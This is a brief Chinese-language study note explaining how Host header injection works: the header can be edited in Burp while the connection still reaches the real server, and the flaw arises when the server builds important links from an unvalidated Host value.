我的理解关键:Host 头和其他 Header 一样,只是一行可以随意修改的普通文本。Burp 修改 Host 时,实际 TCP 连接目标不变(仍发给真实服务器),只是服务端“看到”的内容被污染了。正常情况下 Host 必须和访问域名一致,漏洞正是服务端没有校验,直接拿它生成重要链接。